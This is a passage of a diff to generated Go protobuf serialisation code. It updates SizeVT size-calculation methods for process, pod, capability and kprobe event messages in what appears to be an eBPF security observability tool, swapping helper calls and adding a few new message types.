n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4424,42 +4717,30 @@ func (m *Container) SizeVT() (n int) { _ = l l = len(m.Id) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Image != nil { l = m.Image.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.StartTime != nil { - if size, ok := interface{}(m.StartTime).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.StartTime) - } - n += 1 + l + sov(uint64(l)) + l = (*timestamppb.Timestamp)(m.StartTime).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Pid != nil { - if size, ok := interface{}(m.Pid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Pid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Pid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.MaybeExecProbe { n += 2 } if m.SecurityContext != nil { l = m.SecurityContext.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4473,38 +4754,42 @@ func (m *Pod) SizeVT() (n int) { _ = l l = len(m.Namespace) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Uid) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Container != nil { l = m.Container.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.PodLabels) > 0 { for k, v := range m.PodLabels { _ = k _ = v - mapEntrySize := 1 + len(k) + sov(uint64(len(k))) + 1 + len(v) + sov(uint64(len(v))) - n += mapEntrySize + 1 + sov(uint64(mapEntrySize)) + mapEntrySize := 1 + len(k) + protohelpers.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protohelpers.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protohelpers.SizeOfVarint(uint64(mapEntrySize)) } } l = len(m.Workload) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.WorkloadKind) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.PodAnnotations) > 0 { for k, v := range m.PodAnnotations { _ = k _ = v - mapEntrySize := 1 + len(k) + sov(uint64(len(k))) + 1 + len(v) + sov(uint64(len(v))) - n += mapEntrySize + 1 + sov(uint64(mapEntrySize)) + mapEntrySize := 1 + len(k) + protohelpers.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protohelpers.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protohelpers.SizeOfVarint(uint64(mapEntrySize)) } } n += len(m.unknownFields) @@ -4520,23 +4805,23 @@ func (m *Capabilities) SizeVT() (n int) { if len(m.Permitted) > 0 { l = 0 for _, e := range m.Permitted { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.Effective) > 0 { l = 0 for _, e := range m.Effective { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.Inheritable) > 0 { l = 0 for _, e := range m.Inheritable { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } n += len(m.unknownFields) return n @@ -4549,7 +4834,7 @@ func (m *Namespace) SizeVT() (n int) { var l int _ = l if m.Inum != 0 { - n += 1 + sov(uint64(m.Inum)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Inum)) } if m.IsHost { n += 2 @@ -4566,43 +4851,43 @@ func (m *Namespaces) SizeVT() (n int) { _ = l if m.Uts != nil { l = m.Uts.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Ipc != nil { l = m.Ipc.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Mnt != nil { l = m.Mnt.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Pid != nil { l = m.Pid.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.PidForChildren != nil { l = m.PidForChildren.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Net != nil { l = m.Net.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Time != nil { l = m.Time.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.TimeForChildren != nil { l = m.TimeForChildren.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Cgroup != nil { l = m.Cgroup.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.User != nil { l = m.User.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4615,38 +4900,20 @@ func (m *UserNamespace) SizeVT() (n int) { var l int _ = l if m.Level != nil { - if size, ok := interface{}(m.Level).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Level) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.Int32Value)(m.Level).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Uid != nil { - if size, ok := interface{}(m.Uid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Uid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Uid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Gid != nil { - if size, ok := interface{}(m.Gid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Gid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Gid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Ns != nil { l = m.Ns.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4659,99 +4926,51 @@ func (m *ProcessCredentials) SizeVT() (n int) { var l int _ = l if m.Uid != nil { - if size, ok := interface{}(m.Uid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Uid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Uid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Gid != nil { - if size, ok := interface{}(m.Gid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Gid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Gid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Euid != nil { - if size, ok := interface{}(m.Euid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Euid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Euid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Egid != nil { - if size, ok := interface{}(m.Egid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Egid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Egid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Suid != nil { - if size, ok := interface{}(m.Suid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Suid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Suid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Sgid != nil { - if size, ok := interface{}(m.Sgid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Sgid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Sgid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Fsuid != nil { - if size, ok := interface{}(m.Fsuid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Fsuid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Fsuid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Fsgid != nil { - if size, ok := interface{}(m.Fsgid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Fsgid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Fsgid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Securebits) > 0 { l = 0 for _, e := range m.Securebits { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if m.Caps != nil { l = m.Caps.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.UserNs != nil { l = m.UserNs.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4764,17 +4983,11 @@ func (m *InodeProperties) SizeVT() (n int) { var l int _ = l if m.Number != 0 { - n += 1 + sov(uint64(m.Number)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Number)) } if m.Links != nil { - if size, ok := interface{}(m.Links).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Links) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Links).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4788,11 +5001,11 @@ func (m *FileProperties) SizeVT() (n int) { _ = l if m.Inode != nil { l = m.Inode.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Path) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4805,35 +5018,23 @@ func (m *BinaryProperties) SizeVT() (n int) { var l int _ = l if m.Setuid != nil { - if size, ok := interface{}(m.Setuid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Setuid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Setuid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Setgid != nil { - if size, ok := interface{}(m.Setgid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Setgid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Setgid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.PrivilegesChanged) > 0 { l = 0 for _, e := range m.PrivilegesChanged { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if m.File != nil { l = m.File.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4847,7 +5048,25 @@ func (m *UserRecord) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *EnvVar) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Key) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Value) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -4861,118 +5080,88 @@ func (m *Process) SizeVT() (n int) { _ = l l = len(m.ExecId) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Pid != nil { - if size, ok := interface{}(m.Pid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Pid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Pid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Uid != nil { - if size, ok := interface{}(m.Uid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Uid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Uid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Cwd) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Binary) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Arguments) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Flags) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.StartTime != nil { - if size, ok := interface{}(m.StartTime).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.StartTime) - } - n += 1 + l + sov(uint64(l)) + l = (*timestamppb.Timestamp)(m.StartTime).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Auid != nil { - if size, ok := interface{}(m.Auid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Auid) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Auid).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Pod != nil { l = m.Pod.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Docker) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.ParentExecId) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Refcnt != 0 { - n += 1 + sov(uint64(m.Refcnt)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Refcnt)) } if m.Cap != nil { l = m.Cap.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Ns != nil { l = m.Ns.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Tid != nil { - if size, ok := interface{}(m.Tid).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Tid) - } - n += 2 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Tid).SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.ProcessCredentials != nil { l = m.ProcessCredentials.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.BinaryProperties != nil { l = m.BinaryProperties.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.User != nil { l = m.User.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.InInitTree != nil { - if size, ok := interface{}(m.InInitTree).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.InInitTree) + l = (*wrapperspb.BoolValue)(m.InInitTree).SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.EnvironmentVariables) > 0 { + for _, e := range m.EnvironmentVariables { + l = e.SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } - n += 2 + l + sov(uint64(l)) } n += len(m.unknownFields) return n @@ -4986,16 +5175,16 @@ func (m *ProcessExec) SizeVT() (n int) { _ = l if m.Process != nil { l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Parent != nil { l = m.Parent.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Ancestors) > 0 { for _, e := range m.Ancestors { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -5010,33 +5199,27 @@ func (m *ProcessExit) SizeVT() (n int) { _ = l if m.Process != nil { l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Parent != nil { l = m.Parent.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Signal) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Status != 0 { - n += 1 + sov(uint64(m.Status)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Status)) } if m.Time != nil { - if size, ok := interface{}(m.Time).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Time) - } - n += 1 + l + sov(uint64(l)) + l = (*timestamppb.Timestamp)(m.Time).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Ancestors) > 0 { for _, e := range m.Ancestors { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -5051,42 +5234,42 @@ func (m *KprobeSock) SizeVT() (n int) { _ = l l = len(m.Family) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Type) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Protocol) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Mark != 0 { - n += 1 + sov(uint64(m.Mark)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Mark)) } if m.Priority != 0 { - n += 1 + sov(uint64(m.Priority)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Priority)) } l = len(m.Saddr) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Daddr) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Sport != 0 { - n += 1 + sov(uint64(m.Sport)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Sport)) } if m.Dport != 0 { - n += 1 + sov(uint64(m.Dport)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Dport)) } if m.Cookie != 0 { - n += 1 + sov(uint64(m.Cookie)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Cookie)) } l = len(m.State) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5099,47 +5282,47 @@ func (m *KprobeSkb) SizeVT() (n int) { var l int _ = l if m.Hash != 0 { - n += 1 + sov(uint64(m.Hash)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Hash)) } if m.Len != 0 { - n += 1 + sov(uint64(m.Len)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Len)) } if m.Priority != 0 { - n += 1 + sov(uint64(m.Priority)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Priority)) } if m.Mark != 0 { - n += 1 + sov(uint64(m.Mark)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Mark)) } l = len(m.Saddr) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Daddr) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Sport != 0 { - n += 1 + sov(uint64(m.Sport)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Sport)) } if m.Dport != 0 { - n += 1 + sov(uint64(m.Dport)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Dport)) } if m.Proto != 0 { - n += 1 + sov(uint64(m.Proto)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Proto)) } if m.SecPathLen != 0 { - n += 1 + sov(uint64(m.SecPathLen)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.SecPathLen)) } if m.SecPathOlen != 0 { - n += 1 + sov(uint64(m.SecPathOlen)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.SecPathOlen)) } l = len(m.Protocol) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Family) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5153,14 +5336,32 @@ func (m *KprobeSockaddr) SizeVT() (n int) { _ = l l = len(m.Family) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Addr) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Port != 0 { - n += 1 + sov(uint64(m.Port)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Port)) + } + n += len(m.unknownFields) + return n +} + +func (m *KprobeSockaddrUn) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Family) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5174,7 +5375,7 @@ func (m *KprobeNetDev) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5188,19 +5389,19 @@ func (m *KprobePath) SizeVT() (n int) { _ = l l = len(m.Mount) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Path) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Flags) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Permission) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5214,19 +5415,19 @@ func (m *KprobeFile) SizeVT() (n int) { _ = l l = len(m.Mount) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Path) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Flags) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Permission) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5240,10 +5441,10 @@ func (m *KprobeTruncatedBytes) SizeVT() (n int) { _ = l l = len(m.BytesArg) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.OrigSize != 0 { - n += 1 + sov(uint64(m.OrigSize)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.OrigSize)) } n += len(m.unknownFields) return n @@ -5258,23 +5459,23 @@ func (m *KprobeCred) SizeVT() (n int) { if len(m.Permitted) > 0 { l = 0 for _, e := range m.Permitted { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.Effective) > 0 { l = 0 for _, e := range m.Effective { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.Inheritable) > 0 { l = 0 for _, e := range m.Inheritable { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } n += len(m.unknownFields) return n @@ -5288,15 +5489,15 @@ func (m *KprobeLinuxBinprm) SizeVT() (n int) { _ = l l = len(m.Path) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Flags) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Permission) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5309,18 +5510,12 @@ func (m *KprobeCapability) SizeVT() (n int) { var l int _ = l if m.Value != nil { - if size, ok := interface{}(m.Value).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Value) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.Int32Value)(m.Value).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5333,38 +5528,20 @@ func (m *KprobeUserNamespace) SizeVT() (n int) { var l int _ = l if m.Level != nil { - if size, ok := interface{}(m.Level).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Level) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.Int32Value)(m.Level).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Owner != nil { - if size, ok := interface{}(m.Owner).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Owner) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Owner).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Group != nil { - if size, ok := interface{}(m.Group).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Group) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.UInt32Value)(m.Group).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Ns != nil { l = m.Ns.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5378,14 +5555,35 @@ func (m *KprobeBpfAttr) SizeVT() (n int) { _ = l l = len(m.ProgType) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.InsnCnt != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.InsnCnt)) + } + l = len(m.ProgName) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *KprobeBpfProg) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.ProgType) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.InsnCnt != 0 { - n += 1 + sov(uint64(m.InsnCnt)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.InsnCnt)) } l = len(m.ProgName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5399,17 +5597,17 @@ func (m *KprobePerfEvent) SizeVT() (n int) { _ = l l = len(m.KprobeFunc) if l > 0 { 